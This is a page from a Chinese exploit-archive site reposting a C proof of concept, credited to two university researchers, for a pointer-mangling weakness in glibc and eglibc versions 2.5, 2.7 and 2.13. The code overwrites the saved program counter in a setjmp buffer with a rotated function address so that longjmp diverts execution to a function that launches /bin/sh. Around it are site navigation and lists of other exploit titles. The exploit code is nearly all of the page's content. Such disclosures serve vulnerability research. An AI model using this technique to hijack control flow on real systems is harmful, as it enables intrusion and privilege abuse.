首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability
来源:hecmargi@upv.es 作者:Marco 发布时间:2013-10-09  
/*
 * $FILE: bug-mangle.c
 *
 * Comment: Proof of concept
 *
 * $VERSION$
 *
 * Author: Hector Marco <hecmargi@upv.es>
 *         Ismael Ripoll <iripoll@disca.upv.es>
 *
 * $LICENSE: 
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */
   
#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>
   
#ifdef __i386__
   #define ROTATE 0x9
   #define PC_ENV_OFFSET 0x14
#elif __x86_64__
   #define ROTATE 0x11
   #define PC_ENV_OFFSET 0x38
#else
   #error The exploit does not support this architecture
#endif
   
unsigned long rol(uintptr_t value) {
   return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}
   
int hacked(){
   printf("[+] hacked !!\n");
   system("/bin/sh");
}
   
int main(void){
   jmp_buf env;
   uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);
   
   printf("[+] Exploiting ...\n");
   if(setjmp(env) == 1){
      printf("[-] Exploit failed.\n");
      return 0;
   }
   
   /*Overwrie env return address */
   *ptr_ret_env = rol((uintptr_t)hacked);
   
   longjmp(env, 1);
   
   printf("[-] Exploit failed.\n");
   return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HP LoadRunner magentproc.exe O
·KMPlayer 3.7.0.109 (.wav) - Cr
·GestioIP Remote Command Execut
·Microsoft Internet Explorer Se
·ClipBucket Remote Code Executi
·Firefox For Android Same-Origi
·FlashChat Arbitrary File Uploa
·PinApp Mail-SeCure Access Cont
·Apple Motion 5.0.7 Integer Ove
·Abuse HTTP Server 2.8 Denial O
·Ice Cold Apps Servers Ultimate
·davfs2 1.4.6/1.4.7 - Local Pri
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved